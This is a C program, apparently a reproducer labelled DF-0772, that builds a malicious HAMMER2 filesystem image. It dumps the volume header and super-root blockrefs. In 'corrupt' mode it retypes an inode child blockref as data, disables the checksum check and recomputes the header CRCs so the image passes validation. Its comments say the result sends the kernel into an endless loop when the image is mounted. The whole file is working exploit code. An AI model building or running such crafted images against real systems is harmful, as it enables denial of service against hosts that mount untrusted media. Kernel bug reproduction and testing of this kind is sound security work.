DF-0772 / corrupt_h2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> /* hardcoded offsets matching sys/vfs/hammer2/hammer2_disk.h */ #define VH_SIZE 65536 #define SROOT_BLOCKSET_OFF 0x200 #define BREF_SIZE 128 #define BREF_TYPE_OFF 0 #define BREF_METHODS_OFF 1 #define BREF_KEY_OFF 8 #define BREF_DATAOFF_OFF 32 #define BREF_CHECK_OFF 64 /* xxhash64.value is first 8 bytes of check union */ #define ICRC_SECTS_OFF 0x1E0 /* icrc_sects[8] at 0x1E0-0x1FF */ #define ICRC_VH_OFF 0xFFFC #define HAMMER2_OFF_MASK 0xFFFFFFFFFFFFFFC0ULL #define HAMMER2_OFF_MASK_RADIX 0x3FULL #define HAMMER2_BREF_TYPE_INODE 1 #define HAMMER2_BREF_TYPE_DATA 3 extern uint32_t iscsi_crc32(const void *buf, size_t size); static uint64_t rd64(const uint8_t *b, size_t off) { uint64_t v; memcpy(&v, b + off, 8); return v; } static void wr64(uint8_t *b, size_t off, uint64_t v) { memcpy(b + off, &v, 8); } static uint32_t rd32(const uint8_t *b, size_t off) { uint32_t v; memcpy(&v, b + off, 4); return v; } static void wr32(uint8_t *b, size_t off, uint32_t v) { memcpy(b + off, &v, 4); } int main(int argc, char **argv) { const char *img = argv[1]; int do_corrupt = (argc > 2 && strcmp(argv[2], "corrupt") == 0); uint8_t *vh = malloc(VH_SIZE); if (!vh) { perror("malloc"); return 1; } int fd = open(img, do_corrupt ? O_RDWR : O_RDONLY); if (fd < 0) { perror("open"); return 1; } if (read(fd, vh, VH_SIZE) != VH_SIZE) { perror("read vh"); return 1; } /* dump sroot_blockset blockrefs */ printf("=== Volume header sroot_blockset (offset 0x200) ===\n"); for (int i = 0; i < 4; i++) { uint8_t *br = vh + SROOT_BLOCKSET_OFF + i * BREF_SIZE; uint8_t type = br[BREF_TYPE_OFF]; uint8_t methods = br[BREF_METHODS_OFF]; uint64_t key = rd64(br, BREF_KEY_OFF); uint64_t data_off = rd64(br, BREF_DATAOFF_OFF); uint64_t check = rd64(br, BREF_CHECK_OFF); printf(" blockref[%d]: type=%u methods=0x%02x key=0x%016jx data_off=0x%016jx (byteoff=0x%016jx radix=%ju) check=0x%016jx\n", i, type, methods, (uintmax_t)key, (uintmax_t)data_off, (uintmax_t)(data_off & HAMMER2_OFF_MASK), (uintmax_t)(data_off & HAMMER2_OFF_MASK_RADIX), (uintmax_t)check); } /* dump existing volume header CRCs */ printf("=== Existing VH CRCs ===\n"); printf(" icrc_sects[6] (SECT1, sroot): stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 6*4), iscsi_crc32(vh + 0x200, 512)); printf(" icrc_sects[7] (SECT0): stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 7*4), iscsi_crc32(vh, 508)); printf(" icrc_volheader: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_VH_OFF), iscsi_crc32(vh, 65532)); /* Now read the super-root inode data */ uint64_t sroot_data_off = rd64(vh + SROOT_BLOCKSET_OFF, BREF_DATAOFF_OFF); uint64_t sroot_byteoff = sroot_data_off & HAMMER2_OFF_MASK; uint64_t sroot_radix = sroot_data_off & HAMMER2_OFF_MASK_RADIX; size_t sroot_size = (size_t)1 << sroot_radix; printf("=== Super-root inode: byteoff=0x%016jx size=%zu ===\n", (uintmax_t)sroot_byteoff, sroot_size); uint8_t *inode = malloc(sroot_size); if (pread(fd, inode, sroot_size, (off_t)sroot_byteoff) != (ssize_t)sroot_size) { perror("pread inode"); return 1; } /* dump inode's u.blockset (at inode offset 0x200) */ printf("=== Super-root inode u.blockset (inode offset 0x200) ===\n"); for (int i = 0; i < 4; i++) { uint8_t *br = inode + 0x200 + i * BREF_SIZE; uint8_t type = br[BREF_TYPE_OFF]; uint8_t methods = br[BREF_METHODS_OFF]; uint64_t key = rd64(br, BREF_KEY_OFF); uint64_t data_off = rd64(br, BREF_DATAOFF_OFF); uint64_t check = rd64(br, BREF_CHECK_OFF); printf(" child[%d]: type=%u methods=0x%02x key=0x%016jx data_off=0x%016jx check=0x%016jx\n", i, type, methods, (uintmax_t)key, (uintmax_t)data_off, (uintmax_t)check); } if (do_corrupt) { /* find first INODE child and flip its type to DATA */ int target = -1; for (int i = 0; i < 4; i++) { uint8_t *br = inode + 0x200 + i * BREF_SIZE; if (br[BREF_TYPE_OFF] == HAMMER2_BREF_TYPE_INODE) { target = i; break; } } if (target < 0) { fprintf(stderr, "no INODE child found to corrupt\n"); return 1; } uint8_t *br = inode + 0x200 + target * BREF_SIZE; printf("=== CORRUPTING child[%d] type %u -> %u ===\n", target, br[BREF_TYPE_OFF], HAMMER2_BREF_TYPE_DATA); br[BREF_TYPE_OFF] = HAMMER2_BREF_TYPE_DATA; /* write modified inode data to disk */ if (pwrite(fd, inode, sroot_size, (off_t)sroot_byteoff) != (ssize_t)sroot_size) { perror("pwrite inode"); return 1; } /* recompute XXH64 of the inode data using hammer2's seed via external symbol; here we cheat: change the check method to NONE so the kernel skips the CRC and the loop spins regardless */ /* Actually: set methods check nibble to NONE (0) so no check is done. HAMMER2_DEC_CHECK(methods) >> 4 == 0 => CHECK_NONE => r=1 */ /* But we also need the VOLUME HEADER sroot_blockset blockref[0] methods to reflect this. Let's just set methods byte to 0 in both the inode child blockref and the vh sroot blockref. */ /* Wait -- the check is done on the LOADED chain data, not the blockref in the inode. The chain for child[target] loads data from child[target].data_off. We don't touch that. We changed the type in the PARENT (super-root inode). So the chain for child[target] will be loaded normally with its own data and its own check. Its type just says DATA now. The fixup loop sees type != INODE and continues forever. */ /* BUT: the super-root inode data changed, so sroot_blockset.blockref[0].check (XXH64 of the inode) no longer matches. When the chain for the super-root inode is loaded during mount, CRC fails, mount bails. Solution: set check method of sroot blockref[0] to NONE. */ uint8_t *vhbr0 = vh + SROOT_BLOCKSET_OFF + 0 * BREF_SIZE; uint8_t old_methods = vhbr0[BREF_METHODS_OFF]; /* zero the check nibble (high nibble of methods byte): HAMMER2_ENC_CHECK(0)=0 */ vhbr0[BREF_METHODS_OFF] = old_methods & 0x0F; printf("=== Set sroot blockref[0] methods 0x%02x -> 0x%02x (CHECK_NONE) ===\n", old_methods, vhbr0[BREF_METHODS_OFF]); /* recompute volume header CRCs (sroot_blockset changed) */ wr32(vh, ICRC_SECTS_OFF + 6*4, iscsi_crc32(vh + 0x200, 512)); wr32(vh, ICRC_SECTS_OFF + 7*4, iscsi_crc32(vh, 508)); wr32(vh, ICRC_VH_OFF, iscsi_crc32(vh, 65532)); /* write modified volume header */ if (pwrite(fd, vh, VH_SIZE, 0) != VH_SIZE) { perror("pwrite vh"); return 1; } printf("=== DONE. Re-checking CRCs ===\n"); printf(" icrc_sects[6]: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 6*4), iscsi_crc32(vh + 0x200, 512)); printf(" icrc_sects[7]: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_SECTS_OFF + 7*4), iscsi_crc32(vh, 508)); printf(" icrc_volheader: stored=0x%08x computed=0x%08x\n", rd32(vh, ICRC_VH_OFF), iscsi_crc32(vh, 65532)); } free(vh); free(inode); close(fd); return 0; } |